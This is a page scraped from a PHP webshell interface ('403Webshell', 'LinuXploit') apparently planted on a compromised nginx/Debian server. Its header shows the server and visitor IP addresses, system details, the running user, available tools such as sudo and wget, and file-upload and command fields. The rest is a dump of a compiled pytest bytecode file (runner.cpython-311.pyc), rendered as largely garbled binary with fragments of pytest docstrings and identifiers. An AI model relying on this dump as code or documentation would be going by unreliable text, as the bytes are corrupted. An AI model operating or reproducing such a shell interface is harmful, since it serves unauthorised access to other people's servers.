403Webshell
Server IP : 46.101.140.223  /  Your IP : 216.73.217.61
Web Server : nginx/1.22.1
System : Linux debian-s-1vcpu-1gb-fra1-01 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : deploy-others ( 1001)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/_pytest/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/_pytest/__pycache__/runner.cpython-311.pyc
�

��c�F�
���dZddlZddlZddlZddlmZddlmZddlmZddlmZddlm	Z	ddlm
Z
dd	lmZdd
lmZddlm
Z
ddlmZdd
lmZddlZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddl m!Z!ddl"m#Z#ddl"m$Z$ddl"m%Z%ddl&m'Z'ddl&m(Z(ddl&m)Z)dd l&m*Z*e
rdd!l+m,Z,dd"l-m.Z.dd#l/m0Z0d$ed%dfd&�Z1dOd)�Z2dPd,�Z3dPd-�Z4d.e$d/e
e$d%e5fd0�Z6	dQd.e$d2e5d/e
e$d%e	efd3�Z7d.e$d%dfd4�Z8d.e$d%dfd5�Z9d.e$d%dfd6�Z:d.e$d/e
e$d%dfd7�Z;d.e$d8e
d9d%dfd:�Z<d;ed%e
ee=e=e=ffd<�Z>	dRd.e$d8d9d2e5d%efd=�Z?d>d?d;ed%e5fd@�Z@d.e$d8d9d%dAfdB�ZAedCd1�D��ZBeejCdEdEd1�F��GdG�dHeeB������ZDd.e$d>eDdd%efdI�ZEdJe#d%efdK�ZFGdL�dM��ZGdJe#d%efdN�ZHdS)Sz3Basic collect and runtest protocol implementations.�N)�Callable)�cast)�Dict)�Generic)�List)�Optional)�Tuple)�Type)�
TYPE_CHECKING)�TypeVar)�Union�)�
BaseReport)�CollectErrorRepr)�
CollectReport)�
TestReport)�timing)�ExceptionChainRepr)�
ExceptionInfo)�TerminalRepr)�final)�Parser)�check_ispytest)�	Collector)�Item)�Node)�Exit)�OutcomeException)�Skipped)�TEST_OUTCOME)�Literal)�Session)�TerminalReporter�parser�returnc��|�ddd���}|�ddtddd�	��|�d
dtddd�	��dS)
Nzterminal reporting�	Reporting�general)�afterz--durations�store�Nz1Show N slowest setup/test durations (N=0 for all))�action�type�default�metavar�helpz--durations-ming{�G�zt?zJMinimal duration in seconds for inclusion in slowest list. Default: 0.005.)�getgroup�	addoption�int�float)r$�groups  �0/usr/lib/python3/dist-packages/_pytest/runner.py�pytest_addoptionr70s����O�O�0�+�Y�O�O�O�E�	�O�O���
���
@�
����
�O�O���
����
�������terminalreporterr#c��|jjj}|jjj}|j�d��}|�dS|}g}|j���D],}|D]'}t|d��r|�|���(�-|sdS|�	d�d���|s|�
dd��n#|�
dd|z��|d|�}t|��D]�\}}|d	krM|j|krB|�
d
��|�
dt|��|z
|fz��dS|�
|jd�d
|jd�d|j������dS)N�verbose�durationc��|jS�N)r<)�xs r6�<lambda>z)pytest_terminal_summary.<locals>.<lambda>Ss��Q�Z�r8T)�key�reverse�=zslowest durationszslowest %s durations��z>(%s durations < %gs hidden.  Use -vv to show these durations.)z02.2fzs z<8� )�config�option�	durations�
durations_min�getvalue�stats�values�hasattr�append�sort�	write_sep�	enumerater<�
write_line�len�when�nodeid)	r9rIrJr;�tr�dlist�replist�rep�is	         r6�pytest_terminal_summaryr\Es��� �'�.�8�I�$�+�2�@�M��%�.�.�y�9�9�G�����	�B��E��8�?�?�$�$�"�"���	"�	"�C��s�J�'�'�
"����S�!�!�!��	"�����	�J�J�'�'��J�6�6�6��"�
���S�-�.�.�.�.�
���S�0�9�<�=�=�=��j�y�j�!���E�"�"�K�K���3��Q�;�;�3�<�-�7�7��M�M�"�����M�M�P��u�:�:��>�=�1�2�
�
�
�
�E�E�
�
�
���I�I�I�s�x�I�I�I�S�Z�I�I�J�J�J�J�K�Kr8�sessionr"c�,�t��|_dSr>)�
SetupState�_setupstate�r]s r6�pytest_sessionstartrbes��$�,�,�G���r8c�:�|j�d��dSr>)r`�teardown_exactras r6�pytest_sessionfinishreis����&�&�t�,�,�,�,�,r8�item�nextitemc��|j}|�|j|j���t	||���|�|j|j���dS)N)rV�location�rgT)�ihook�pytest_runtest_logstartrVri�runtestprotocol�pytest_runtest_logfinish)rfrgrks   r6�pytest_runtest_protocolroms[���J�E�	�!�!���t�}�!�M�M�M��D�8�,�,�,�,�	�"�"�$�+��
�"�N�N�N��4r8T�logc���t|d��}|r|js|���t|d|��}|g}|jri|j�dd��rt|��|j�dd��s$|�t|d|����|�t|d||�����|rd|_d|_	|S)	N�_request�setup�	setupshowF�	setuponly�call�teardownrj)
rNrr�_initrequest�call_and_report�passedrG�	getoption�show_test_itemrO�funcargs)rfrprg�
hasrequestrZ�reportss      r6rmrmus�����z�*�*�J���$�-��	
������
�$���
-�
-�C��e�G�
�z�?��;� � ��e�4�4�	!��4� � � ��{�$�$�[�%�8�8�	?��N�N�?�4���=�=�>�>�>��N�N�?�4��S�8�L�L�L�M�M�M�����
���
��Nr8c��|j���}|���|�d��|�|j��tt
|dg����}|r;|�d�d�|������|�	��dS)zAShow test function, parameters and the fixtures of the test item.z        �fixturenamesz (fixtures used: {})z, N)
rG�get_terminal_writer�line�writerV�sorted�getattr�format�join�flush)rf�tw�
used_fixturess   r6r|r|�s���	
��	(�	(�	*�	*�B��G�G�I�I�I��H�H�W�����H�H�T�[�����7�4���<�<�=�=�M��J�
���'�.�.�t�y�y��/G�/G�H�H�I�I�I��H�H�J�J�J�J�Jr8c�d�t|d��|jj�|��dS)Nrs)�_update_current_test_varr]r`rs)rfs r6�pytest_runtest_setupr��s1���T�7�+�+�+��L��"�"�4�(�(�(�(�(r8c�N�t|d��	t`t`t`n#t
$rYnwxYw	|���dS#t$rK}t|��t_|t_|j	�J�|j	j
t_|�d}~wwxYw)Nrv)r��sys�	last_type�
last_value�last_traceback�AttributeError�runtest�	Exceptionr-�
__traceback__�tb_next)rf�es  r6�pytest_runtest_callr��s����T�6�*�*�*�
��M��N������
�
�
���
����	���������������Q����
������*�*�*��_�4������������s$�(�
5�5�A�
B$�AB�B$c��t|d��|jj�|��t|d��dS)Nrw)r�r]r`rd)rfrgs  r6�pytest_runtest_teardownr��sA���T�:�.�.�.��L��+�+�H�5�5�5��T�4�(�(�(�(�(r8rUz$Literal['setup', 'call', 'teardown']c��d}|r4|j�d|�d�}|�dd��}|tj|<dStj�|��dS)z�Update :envvar:`PYTEST_CURRENT_TEST` to reflect the current item and stage.

    If ``when`` is None, delete ``PYTEST_CURRENT_TEST`` from the environment.
    �PYTEST_CURRENT_TESTz (�)�z(null)N)rV�replace�os�environ�pop)rfrU�var_name�values    r6r�r��sh��%�H��!��;�)�)�$�)�)�)���
�
�f�h�/�/��$��
�8����
�
���x� � � � � r8�reportc�@�|jdvr|jrdS|jrdSdSdS)N)rsrw)�error�E�ERROR)�skipped�s�SKIPPED)rErErE)rU�failedr��r�s r6�pytest_report_teststatusr��s:��
�{�+�+�+��=�	�(�(�
�^�	�,�,��:��4r8c���t||fi|��}|j}|�||���}|r|�|���t	||��r|�|||���|S)N�rfrvr���nodervr�)�call_runtest_hookrk�pytest_runtest_makereport�pytest_runtest_logreport�check_interactive_exception�pytest_exception_interact)rfrUrp�kwdsrv�hookr�s       r6ryry�s����T�4�0�0�4�0�0�D��:�D��7�7�T��7�M�M�F�
�5��%�%�V�%�4�4�4�"�4��0�0�L��&�&�D�t�F�&�K�K�K��Mr8rvzCallInfo[object]c��|j�dSt|d��rdSt|jjtt
jf��rdSdS)zVCheck whether the call raised an exception that should be reported as
    interactive.NF�wasxfailT)�excinforN�
isinstancer�r�bdb�BdbQuit)rvr�s  r6r�r��sP���|���u��v�z�"�"���u��$�,�$�w���&<�=�=���u��4r8zCallInfo[None]c�4����|dkr
�jj�n3|dkr
�jj�n |dkr
�jj�n
Jd|�����tf}�j�dd��s|tfz
}t�	���fd�||���S)	NrsrvrwFzUnhandled runtest hook case: �usepdbc����dd�i���S)Nrf�r�)rkrfr�s���r6r@z#call_runtest_hook.<locals>.<lambda>s�����(�(�4�(�4�(�(�r8)rU�reraise)
rkr�r�r�rrGr{�KeyboardInterrupt�CallInfo�	from_call)rfrUr�r�rks` ` @r6r�r��s�������w���%)�Z�%D���	
�����
�.���	
��	�	��
�2���<�<�d�<�<�<�<�<�04�w�G��;� � ��5�1�1�(��%�'�'�����(�(�(�(�(�(�t�W����r8�TResult)�	covariantF)�repr�init�auto_attribsc�^�eZdZUdZeeed<eeeed<e	ed<e	ed<e	ed<ded<d	d
�deedeeede	de	de	ddde
d
dfd�Zed
efd���Z
e	ddddddeeeeeeedffd
dfd���Zd
efd�ZdS)r�z/Result/Exception info of a function invocation.�_resultr��start�stopr<z/Literal['collect', 'setup', 'call', 'teardown']rUF)�	_ispytest�resultr�r%Nc�x�t|��||_||_||_||_||_||_dSr>)rr�r�r�r�r<rU)�selfr�r�r�r�r<rUr�s        r6�__init__zCallInfo.__init__s@��	�y�!�!�!���������
���	� ��
���	�	�	r8c�h�|j�t|�d����tt|j��S)zlThe return value of the call, if it didn't raise.

        Can only be accessed if excinfo is None.
        Nz has no valid result)r�r�rr�r��r�s r6r�zCallInfo.result/s7���<�#� �D�!@�!@�!@�A�A�A��G�T�\�*�*�*r8�funczCallable[[], TResult]r�.zCallInfo[TResult]c	�^�d}tj��}tj��}	|��}n=#t$r0t	j��}|�t
|j|��r�d}YnwxYwtj��}||z
}	tj��}
|||
|	|||d���S)avCall func, wrapping the result in a CallInfo.

        :param func:
            The function to call. Called without arguments.
        :param when:
            The phase in which the function is called.
        :param reraise:
            Exception or exceptions that shall propagate if raised by the
            function, instead of being wrapped in the CallInfo.
        NT)r�r�r<rUr�r�r�)r�time�perf_counter�
BaseExceptionr�from_currentr�r�)�clsr�rUr�r�r��
precise_startr��precise_stopr<r�s           r6r�zCallInfo.from_call<s���&����
�
���+�-�-�
�	�(,����F�F���	�	�	�#�0�2�2�G��"�z�'�-��'I�'I�"���F�F�F�		�����*�,�,���-�/���{�}�}���s��������
�
�
�	
s�
5�7A/�.A/c�\�|j�d|j�d|j�d�Sd|j�d|j�d�S)Nz<CallInfo when=z	 result: �>z	 excinfo=)r�rUr�r�s r6�__repr__zCallInfo.__repr__gsD���<��L�T�Y�L�L�4�<�L�L�L�L�H���H�H�t�|�H�H�H�Hr8r>)�__name__�
__module__�__qualname__�__doc__rr��__annotations__rr�r4�boolr��propertyr��classmethodr
r
r	r��strr�r�r8r6r�r�s��������:�9�
�g�
����
�m�M�2�
3�3�3�3��L�L�L�
�K�K�K��O�O�O�
;�;�;�;� ������!���-�
�6�7���	�
���
�@����
�����&�
+��
+�
+�
+��X�
+��
�
(
�(
�%�(
�@�(
���$�}�%�u�T�-�-@�#�-E�'F�F�G�
�	(
�
�(
�(
�(
��[�(
�TI�#�I�I�I�I�I�Ir8r�c�,�tj||��Sr>)r�from_item_and_callr�s  r6r�r�ms���(��t�4�4�4r8�	collectorc�"��t��fd�d��}d}|jsd}�n4tg}tj�d��}|�|�|j��t|jj
t|����rvd}��|jd��}t|t��sJt|�����|j}|sJ�t!|j��|j|jf}nTd}��|j��}t+|d��s&t|t ��sJ�t-|��}|}|js|jnd}	t1�j|||	��}
||
_|
S)	Nc�F��t������Sr>)�list�collect�r�s�r6r@z,pytest_make_collect_report.<locals>.<lambda>rs���d�9�+<�+<�+>�+>�&?�&?�r8r�rz�unittestr�r�r��
toterminal)r�r�r�rr��modules�getrO�SkipTestr�r��tuple�_repr_failure_pyrr��	reprcrashr��path�lineno�message�repr_failurerNrr�rrVrv)r�rv�longrepr�outcome�skip_exceptionsr��r_�r�	errorinfor�rZs`          r6�pytest_make_collect_reportr
qs�������?�?�?�?��K�K�D�EI�H��<�!�:B���"�)���;�?�?�:�.�.�����"�"�8�#4�5�5�5��d�l�(�%��*@�*@�A�A�
	!��G��+�+�D�L�&�A�A�B��b�"4�5�5�?�?�t�B�x�x�?�?�?���A��H�H�H��A�F���Q�X�q�y�9�H�H��G�!�.�.�t�|�<�<�I��9�l�3�3�
8�!�)�S�1�1�1�1�1�,�Y�7�7�	� �H� $��
6�T�[�[�$�F�
�	�(�'�8�V�
D�
D�C��C�H��Jr8c�j�eZdZdZdd�Zdeddfd�Zdegefde	ddfd	�Z
d
eeddfd�ZdS)
r_aEShared state for setting up/tearing down test items or collectors
    in a session.

    Suppose we have a collection tree as follows:

    <Session session>
        <Module mod1>
            <Function item1>
        <Module mod2>
            <Function item2>

    The SetupState maintains a stack. The stack starts out empty:

        []

    During the setup phase of item1, setup(item1) is called. What it does
    is:

        push session to stack, run session.setup()
        push mod1 to stack, run mod1.setup()
        push item1 to stack, run item1.setup()

    The stack is:

        [session, mod1, item1]

    While the stack is in this shape, it is allowed to add finalizers to
    each of session, mod1, item1 using addfinalizer().

    During the teardown phase of item1, teardown_exact(item2) is called,
    where item2 is the next item to item1. What it does is:

        pop item1 from stack, run its teardowns
        pop mod1 from stack, run its teardowns

    mod1 was popped because it ended its purpose with item1. The stack is:

        [session]

    During the setup phase of item2, setup(item2) is called. What it does
    is:

        push mod2 to stack, run mod2.setup()
        push item2 to stack, run item2.setup()

    Stack:

        [session, mod2, item2]

    During the teardown phase of item2, teardown_exact(None) is called,
    because item2 is the last item. What it does is:

        pop item2 from stack, run its teardowns
        pop mod2 from stack, run its teardowns
        pop session from stack, run its teardowns

    Stack:

        []

    The end!
    r%Nc��i|_dSr>)�stackr�s r6r�zSetupState.__init__�s��
�	
�
�
�
r8rfc��|���}|j���D]\}\}}||vs
Jd���|r|��|t|j��d�D]e}||jvsJ�|jgdf|j|<	|����5#t$r$}|j|d|f|j|<|�d}~wwxYwdS)z4Setup objects along the collector chain to the item.z(previous item was not torn down properlyNr)�	listchainr
�itemsrTrwrsr )r�rf�needed_collectors�col�
finalizers�excs      r6rszSetupState.setup�s�� �N�N�,�,��'+�j�&6�&6�&8�&8�	�	�"�C�"�*�c��+�+�+�+�-W�+�+�+��
��	�
�%�S���_�_�%6�%6�7�	�	�C��d�j�(�(�(�(� #��~�t�4�D�J�s�O�
��	�	�������
�
�
�#'�:�c�?�1�#5�s�";��
�3���	�����
����
	�	s�B�
C�$C�C�	finalizerr�c���|rt|t��rJ�t|��sJ�||jvsJ||jf���|j|d�|��dS)zgAttach a finalizer to the given node.

        The node must be currently active in the stack.
        rN)r�r��callabler
rO)r�rr�s   r6�addfinalizerzSetupState.addfinalizer�s{��
�3�J�t�U�3�3�3�3�3��	�"�"�"�"�"��t�z�!�!�!�D�$�*�#5�!�!�!��
�4����"�"�9�-�-�-�-�-r8rgc��|r|���pg}d}|jr�t|j�����|dt	|j���krne|j���\}\}}|r=|���}	|��n#t$r}|�|}Yd}~nd}~wwxYw|�=|j��|r|�|�	|jrJ�dSdS)z�Teardown the current stack up until reaching nodes that nextitem
        also descends from.

        When nextitem is None (meaning we're at the last item), the entire
        stack is torn down.
        N)rr
r��keysrT�popitemr�r )	r�rgrrr�r�_�finr�s	         r6rdzSetupState.teardown_exact�s!��%�=��);�);�)=�)=�C������j�	 ��D�J�O�O�%�%�&�&�*;�<M�c�$�*�o�o�<M�*N�N�N��$(�J�$6�$6�$8�$8�!�D�/�:�q��
 � �n�n�&�&�� ��C�E�E�E�E��#� � � ��{������������	 ����	�
 �	�j�	 ��	��I����z�!�!�!���!�!s�
B(�(
C�2B;�;C)r%N)
r�r�r�r�r�rrsr�objectrrrrdr�r8r6r_r_�s�������=�=�~
�
�
�
��$��4�����*.�h�r�6�z�&:�.�$�.�4�.�.�.�.�"�x��~�"�$�"�"�"�"�"�"r8r_c��|j}|�|���|�|���}|j�dd��}|r(t||��r|�|||���|S)Nr�rvr�)rk�pytest_collectstartr
�__dict__r�r�r�)r�rkrZrvs    r6�collect_one_noder"s����O�E�	���	��2�2�2��9�9�I�9�N�N�C��<���F�D�)�)�D��O�+�D�#�6�6�O�
�'�'�Y�T�#�'�N�N�N��Jr8)r9r#r%N)r]r"r%N)TN)T)Ir�r�r�r��typingrrrrrrr	r
rrr
�attrrrrrr�_pytestr�_pytest._code.coderrr�_pytest.compatr�_pytest.config.argparsingr�_pytest.deprecatedr�
_pytest.nodesrrr�_pytest.outcomesrrrr �typing_extensionsr!�_pytest.mainr"�_pytest.terminalr#r7r\rbrer�rormr|r�r�r�r�r�r�ryr�r�r�r�r�r�r
r_r"r�r8r6�<module>r/s	��9�9�
�
�
�
�	�	�	�	�
�
�
�
������������������������������������������������� � � � � � �����������������������%�%�%�%�%�%�"�"�"�"�"�"�������������1�1�1�1�1�1�,�,�,�,�,�,�+�+�+�+�+�+� � � � � � �,�,�,�,�,�,�-�-�-�-�-�-�#�#�#�#�#�#�������������!�!�!�!�!�!�-�-�-�-�-�-�$�$�$�$�$�$�)�)�)�)�)�)��2�)�)�)�)�)�)�$�$�$�$�$�$�1�1�1�1�1�1��V�������*K�K�K�K�@'�'�'�'�-�-�-�-��$��(�4�.��T�����>B���
����,4�T�N��	�*������0	��	�$�	�	�	�	�)�t�)��)�)�)�)�
�d��t�����()�$�)�(�4�.�)�T�)�)�)�)�!�
�!��E�F�!�	�!�!�!�!�"	�Z�	�H�U�3��S�=�=Q�4R�	�	�	�	�"KO�
�
�
�
�<�
�CG�
��
�
�
�
��&8��*��QU������
��<�������&�'�)�t�
,�
,�
,������U��T�2�2�2�]I�]I�]I�]I�]I�w�w��]I�]I�3�2���]I�@5�D�5����5�:�5�5�5�5��)��
�����>D"�D"�D"�D"�D"�D"�D"�D"�N�	��m������r8

Youez - 2016 - github.com/yon3zu
LinuXploit